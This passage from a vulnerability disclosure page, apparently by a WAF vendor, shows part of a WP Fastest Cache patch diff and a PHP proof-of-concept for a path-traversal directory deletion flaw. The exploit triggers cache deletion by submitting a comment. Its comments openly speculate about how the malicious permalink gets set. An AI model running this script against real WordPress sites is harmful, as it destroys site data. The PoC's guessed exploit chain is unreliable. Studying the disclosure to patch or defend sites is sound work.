-							$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/").$store_url_path."/page");
+							$this->delete_cache_variants($store_url_path."/page");
 						}
 					}
 				}
 			}

-			$this->unlink($this->getWpContentDir("/cache/all/index.html"));
-			$this->unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/index.html"));
-
+			$this->delete_cache_variants("index.html");
 			//to clear pagination of homepage cache
-			$this->rm_folder_recursively($this->getWpContentDir("/cache/all/page"));
-			$this->rm_folder_recursively($this->getWpContentDir("/cache/wpfc-mobile-cache/page"));
+			$this->delete_cache_variants("page");

 			// options-reading.php - static posts page
 			if($page_for_posts_id = get_option('page_for_posts')){
@@ -1943,11 +1866,7 @@
 				$page_for_posts_permalink = preg_replace("/__trashed/(d+)$/", "/$1", $page_for_posts_permalink);

 				if(preg_match("/https?://[^/]+/(.+)/", $page_for_posts_permalink, $out)){
-					$page_for_posts_path = $this->getWpContentDir("/cache/all/").$out[1];
-					$page_for_posts_mobile_path = $this->getWpContentDir("/cache/wpfc-mobile-cache/").$out[1];
-
-					$this->rm_folder_recursively($page_for_posts_path);
-					$this->rm_folder_recursively($page_for_posts_mobile_path);
+					$this->delete_cache_variants($out[1]);
 				}
 			}

@@ -1963,13 +1882,7 @@
 		}

 		public function deleteCache($minified = false){
-			if($varnish_datas = get_option("WpFastestCacheVarnish")){
-				include_once('inc/varnish.php');
-				VarnishWPFC::purge_cache($varnish_datas);
-			}
-
-			include_once('inc/cdn.php');
-			CdnWPFC::cloudflare_clear_cache();
+			$this->purge_external_cache();

 			$this->set_preload();

@@ -2149,8 +2062,7 @@
 				}else if($rule->prefix == "exact"){
 					$rule->content = trim($rule->content, "/");

-					@unlink($this->getWpContentDir("/cache/all/").$rule->content."/index.html");
-					@unlink($this->getWpContentDir("/cache/wpfc-mobile-cache/").$rule->content."/index.html");
+					$this->delete_cache_variants($rule->content."/index.html");
 				}

 				if($rule->prefix != "all"){
@@ -2300,11 +2212,19 @@
                     if($value->type == "page"){

 						if(isset($value->prefix) && $value->prefix == "facebookclickid"){
-							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !fbclid= [NC]n";
+							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !(?:^|&)".WPFC_FACEBOOK_QUERY_PARAM_PATTERN."= [NC]n";
 						}

 						if(isset($value->prefix) && $value->prefix == "yandexclickid"){
-							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !(?:^|&)(?:yclid|yadclid|ymclid|ysclid|yzclid|yqrid|ybaip|etext)= [NC]n";
+							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !(?:^|&)(?:".WPFC_YANDEX_QUERY_PARAM_PATTERN.")= [NC]n";
+						}
+
+						if(isset($value->prefix) && $value->prefix == "googleanalytics"){
+							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !(?:^|&)".WPFC_GOOGLE_ANALYTICS_QUERY_PARAM_PATTERN."= [NC]n";
+						}
+
+						if(isset($value->prefix) && $value->prefix == "googleads"){
+							$htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !(?:^|&)".WPFC_GOOGLE_ADS_QUERY_PARAM_PATTERN."= [NC]n";
 						}

                         // REGEX (escape yok!)
@@ -2331,6 +2251,9 @@

                             if($value->prefix == "contain"){
                                 $htaccess_page_rules .= "RewriteCond %{REQUEST_URI} !".$safe_content." [NC]n";
+                                // Apache's REQUEST_URI does not include the query string.
+                                // Check it separately so Contains also matches URL parameters.
+                                $htaccess_page_rules .= "RewriteCond %{QUERY_STRING} !".$safe_content." [NC]n";
                             }

                             if($value->prefix == "exact"){

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119114 - WP Fastest Cache <= 1.5.4 - Unauthenticated Arbitrary Directory Deletion via Path Traversal

$target_url = 'http://example.com'; // Change to target WordPress site

// This PoC assumes the target has Custom Permalinks or GeoDirectory plugin active,
// allowing control over permalink structure. The exploit steps:
// 1. Set a custom permalink for a post to include traversal sequences (e.g., '../../')
// 2. Trigger cache deletion for that post via a public action (e.g., comment submission)
// 3. WP Fastest Cache deletes the directory outside cache.

// For demonstration, we simulate the steps using cURL.

function request($url, $post_data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    if ($post_data !== null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array($response, $http_code);
}

// Step 1: Set a malicious permalink (requires Custom Permalinks plugin and some way to set it, e.g., via post meta)
// In a real attack, the attacker would use the plugin's functionality to set a permalink like '../../'.
// Here we assume the attacker has already set a post's permalink to '../../' (traversal).
// For a real exploit, the attacker might need to authenticate to set the permalink, but the CVE says unauthenticated.
// This suggests the permalink is set via some other vulnerability or plugin feature.
// We'll proceed to trigger the cache deletion.

// Step 2: Trigger singleDeleteCache by submitting a comment to the post with the malicious permalink.
// We need the post ID. Assume we know it (e.g., post ID 1).
$post_id = 1;

// Get the post's permalink to confirm it contains traversal (optional).
// But we can directly trigger comment submission.

// Comment data: comment_post_ID, author, email, comment, etc.
$comment_data = array(
    'comment_post_ID' => $post_id,
    'author' => 'attacker',
    'email' => 'attacker@example.com',
    'comment' => 'Trigger cache deletion',
    'comment_parent' => 0,
    'submit' => 'Post Comment'
);

// WordPress comment submission endpoint is typically /wp-comments-post.php
$comment_url = $target_url . '/wp-comments-post.php';

list($response, $http_code) = request($comment_url, $comment_data);

if ($http_code == 200 || $http_code == 302) {
    echo "Comment submitted successfully. Cache deletion triggered.n";
} else {
    echo "Comment submission failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Alternatively, if the attacker can trigger a post update (requires auth), but CVE states unauthenticated,
// so comment is the likely vector.
// Note: The actual exploitability depends on the co-installed plugin allowing permalink manipulation.
// This PoC is for educational purposes only.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.